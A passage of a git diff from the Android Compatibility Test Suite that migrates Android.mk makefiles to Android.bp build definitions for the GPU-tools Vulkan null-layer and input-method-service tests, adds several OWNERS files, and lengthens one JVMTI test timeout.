+        "-DLAYERNAME=B",
+    ],
+    shared_libs: [
+        "libandroid",
+        "libvulkan",
+        "liblog",
+    ],
+    stl: "c++_shared",
+    sdk_version: "current",
+}
+
+cc_test_library {
+    name: "libVkLayer_nullLayerC",
+    gtest: false,
+    srcs: ["jni/nullLayer.cpp"],
+    cflags: [
+        "-std=c++14",
+        "-Wall",
+        "-Werror",
+        "-fvisibility=hidden",
+        "-DLAYERNAME=C",
+    ],
+    shared_libs: [
+        "libandroid",
+        "libvulkan",
+        "liblog",
+    ],
+    stl: "c++_shared",
+    sdk_version: "current",
+}
+
+android_test_helper_app {
+    name: "CtsGpuToolsRootlessGpuDebugApp-LAYERS",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: ["cts"],
+    compile_multilib: "both",
+    jni_libs: [
+        "libVkLayer_nullLayerA",
+        "libVkLayer_nullLayerB",
+        "libVkLayer_nullLayerC",
+    ],
+    use_embedded_native_libs: false,
+    stl: "c++_shared",
+}
diff --git a/hostsidetests/gputools/layers/Android.mk b/hostsidetests/gputools/layers/Android.mk
deleted file mode 100644
index eaa68ef..0000000
--- a/hostsidetests/gputools/layers/Android.mk
+++ /dev/null
@@ -1,73 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libVkLayer_nullLayerA
-LOCAL_MODULE_TAGS := tests
-LOCAL_SRC_FILES := jni/nullLayer.cpp
-LOCAL_CFLAGS += -std=c++14 -Wall -Werror -fvisibility=hidden -DLAYERNAME="A"
-LOCAL_SHARED_LIBRARIES := libandroid libvulkan liblog
-LOCAL_NDK_STL_VARIANT := c++_static
-LOCAL_SDK_VERSION := current
-include $(BUILD_SHARED_LIBRARY)
-
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libVkLayer_nullLayerB
-LOCAL_MODULE_TAGS := tests
-LOCAL_SRC_FILES := jni/nullLayer.cpp
-LOCAL_CFLAGS += -std=c++14 -Wall -Werror -fvisibility=hidden -DLAYERNAME="B"
-LOCAL_SHARED_LIBRARIES := libandroid libvulkan liblog
-LOCAL_NDK_STL_VARIANT := c++_static
-LOCAL_SDK_VERSION := current
-include $(BUILD_SHARED_LIBRARY)
-
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libVkLayer_nullLayerC
-LOCAL_MODULE_TAGS := tests
-LOCAL_SRC_FILES := jni/nullLayer.cpp
-LOCAL_CFLAGS += -std=c++14 -Wall -Werror -fvisibility=hidden -DLAYERNAME="C"
-LOCAL_SHARED_LIBRARIES := libandroid libvulkan liblog
-LOCAL_NDK_STL_VARIANT := c++_static
-LOCAL_SDK_VERSION := current
-include $(BUILD_SHARED_LIBRARY)
-
-
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_PACKAGE_NAME := CtsGpuToolsRootlessGpuDebugApp-LAYERS
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_MULTILIB := both
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-libVkLayer_nullLayerA \
-libVkLayer_nullLayerB \
-libVkLayer_nullLayerC
-
-LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/inputmethodservice/Android.mk b/hostsidetests/inputmethodservice/Android.mk
deleted file mode 100644
index b798d87..0000000
--- a/hostsidetests/inputmethodservice/Android.mk
+++ /dev/null
@@ -1,15 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-include $(call all-subdir-makefiles)
diff --git a/hostsidetests/inputmethodservice/common/Android.bp b/hostsidetests/inputmethodservice/common/Android.bp
new file mode 100644
index 0000000..feb59a3
--- /dev/null
+++ b/hostsidetests/inputmethodservice/common/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Build the common library for use device-side
+java_test {
+    name: "CtsInputMethodServiceCommon",
+    srcs: ["src/**/*.java"],
+    libs: ["junit"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "test_current",
+}
+
+// Build the common library for use host-side
+java_test_host {
+    name: "cts-inputmethodservice-common-host",
+    srcs: ["src/**/*.java"],
+    libs: ["junit"],
+}
diff --git a/hostsidetests/inputmethodservice/common/Android.mk b/hostsidetests/inputmethodservice/common/Android.mk
deleted file mode 100644
index a118474..0000000
--- a/hostsidetests/inputmethodservice/common/Android.mk
+++ /dev/null
@@ -1,50 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-###############################################################################
-# Build the common library for use device-side
-###############################################################################
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := junit
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_MODULE := CtsInputMethodServiceCommon
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-###############################################################################
-# Build the common library for use host-side
-###############################################################################
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := junit
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE := cts-inputmethodservice-common-host
-
-include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/inputmethodservice/deviceside/Android.mk b/hostsidetests/inputmethodservice/deviceside/Android.mk
deleted file mode 100644
index b798d87..0000000
--- a/hostsidetests/inputmethodservice/deviceside/Android.mk
+++ /dev/null
@@ -1,15 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-include $(call all-subdir-makefiles)
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp
new file mode 100644
index 0000000..7139b91
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsInputMethodServiceDeviceTests",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: ["android.test.runner.stubs"],
+    static_libs: [
+        "androidx.test.rules",
+        "hamcrest",
+        "hamcrest-library",
+        "ub-uiautomator",
+        "CtsInputMethodServiceCommon",
+        "CtsInputMethodServiceLib",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "19",
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
deleted file mode 100644
index 1a57e27..0000000
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_RESOURCE_DIR := res
-LOCAL_JAVA_LIBRARY := android.test.runner.stubs
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    hamcrest hamcrest-library \
-    ub-uiautomator \
-    CtsInputMethodServiceCommon \
-    CtsInputMethodServiceLib
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsInputMethodServiceDeviceTests
-
-LOCAL_SDK_VERSION := test_current
-LOCAL_MIN_SDK_VERSION := 19
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp b/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp
new file mode 100644
index 0000000..fce63b4
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "EditTextApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: ["CtsInputMethodServiceCommon"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "28",
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.mk b/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.mk
deleted file mode 100644
index a089809..0000000
--- a/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_RESOURCE_DIR := res
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    CtsInputMethodServiceCommon
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := EditTextApp
-
-LOCAL_SDK_VERSION := test_current
-LOCAL_MIN_SDK_VERSION := 28
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp b/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
new file mode 100644
index 0000000..765fe2d
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsInputMethod1",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "CtsInputMethodServiceCommon",
+        "CtsInputMethodServiceLib",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "19",
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk b/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
deleted file mode 100644
index 3b98a87..0000000
--- a/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_RESOURCE_DIR := res
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    CtsInputMethodServiceCommon \
-    CtsInputMethodServiceLib
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsInputMethod1
-
-LOCAL_SDK_VERSION := test_current
-LOCAL_MIN_SDK_VERSION := 19
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp b/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp
new file mode 100644
index 0000000..e8f865f
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsInputMethod2",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "CtsInputMethodServiceCommon",
+        "CtsInputMethodServiceLib",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "19",
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk b/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
deleted file mode 100644
index 7b9ebeb..0000000
--- a/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_RESOURCE_DIR := res
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    CtsInputMethodServiceCommon \
-    CtsInputMethodServiceLib
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsInputMethod2
-
-LOCAL_SDK_VERSION := test_current
-LOCAL_MIN_SDK_VERSION := 19
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/Android.bp b/hostsidetests/inputmethodservice/deviceside/lib/Android.bp
new file mode 100644
index 0000000..cecc584
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/lib/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_helper_library {
+    name: "CtsInputMethodServiceLib",
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "CtsInputMethodServiceCommon",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/Android.mk b/hostsidetests/inputmethodservice/deviceside/lib/Android.mk
deleted file mode 100644
index 9a99bdc..0000000
--- a/hostsidetests/inputmethodservice/deviceside/lib/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.annotation_annotation \
-    CtsInputMethodServiceCommon
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE := CtsInputMethodServiceLib
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/Android.bp b/hostsidetests/inputmethodservice/deviceside/provider/Android.bp
new file mode 100644
index 0000000..1f6a7d4
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/provider/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsInputMethodServiceEventProvider",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "CtsInputMethodServiceCommon",
+        "CtsInputMethodServiceLib",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "19",
+
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/Android.mk b/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
deleted file mode 100644
index 365f792..0000000
--- a/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    CtsInputMethodServiceCommon \
-    CtsInputMethodServiceLib
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsInputMethodServiceEventProvider
-
-LOCAL_SDK_VERSION := test_current
-LOCAL_MIN_SDK_VERSION := 19
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/hostside/Android.bp b/hostsidetests/inputmethodservice/hostside/Android.bp
new file mode 100644
index 0000000..5e99fdf
--- /dev/null
+++ b/hostsidetests/inputmethodservice/hostside/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsInputMethodServiceHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    libs: [
+        "compatibility-host-util",
+        "cts-tradefed",
+        "tradefed",
+    ],
+    static_libs: ["cts-inputmethodservice-common-host"],
+}
diff --git a/hostsidetests/inputmethodservice/hostside/Android.mk b/hostsidetests/inputmethodservice/hostside/Android.mk
deleted file mode 100644
index 2cfca0e..0000000
--- a/hostsidetests/inputmethodservice/hostside/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_MODULE := CtsInputMethodServiceHostTestCases
-
-LOCAL_JAVA_LIBRARIES := \
-    compatibility-host-util \
-    cts-tradefed \
-    tradefed
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-inputmethodservice-common-host
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jdwpsecurity/OWNERS b/hostsidetests/jdwpsecurity/OWNERS
new file mode 100644
index 0000000..6e06299
--- /dev/null
+++ b/hostsidetests/jdwpsecurity/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include /hostsidetests/jvmti/run-tests/OWNERS
diff --git a/hostsidetests/jdwptunnel/OWNERS b/hostsidetests/jdwptunnel/OWNERS
new file mode 100644
index 0000000..6e06299
--- /dev/null
+++ b/hostsidetests/jdwptunnel/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include /hostsidetests/jvmti/run-tests/OWNERS
diff --git a/hostsidetests/jvmti/allocation-tracking/OWNERS b/hostsidetests/jvmti/allocation-tracking/OWNERS
new file mode 100644
index 0000000..2dbff0d
--- /dev/null
+++ b/hostsidetests/jvmti/allocation-tracking/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include ../run-tests/OWNERS
diff --git a/hostsidetests/jvmti/attaching/OWNERS b/hostsidetests/jvmti/attaching/OWNERS
new file mode 100644
index 0000000..2dbff0d
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include ../run-tests/OWNERS
diff --git a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
index 6fc9a1b..0fee0ec 100644
--- a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
+++ b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
@@ -120,7 +120,7 @@
             RemoteAndroidTestRunner runner = new RemoteAndroidTestRunner(mTestPackageName, RUNNER,
                     device.getIDevice());
             // set a max deadline limit to avoid hanging forever
-            runner.setMaxTimeToOutputResponse(2, TimeUnit.MINUTES);
+            runner.setMaxTimeToOutputResponse(5, TimeUnit.MINUTES);
 
             AttachAgent aa = new AttachAgent(device, mTestPackageName, mTestApk);
             aa.prepare();
diff --git a/hostsidetests/jvmti/redefining/OWNERS b/hostsidetests/jvmti/redefining/OWNERS
new file mode 100644
index 0000000..2dbff0d
--- /dev/null
+++ b/hostsidetests/jvmti/redefining/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include ../run-tests/OWNERS
diff --git a/hostsidetests/jvmti/run-tests/test-1900/OWNERS b/hostsidetests/jvmti/run-tests/test-1900/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1900/OWNERS
+++ /dev/null
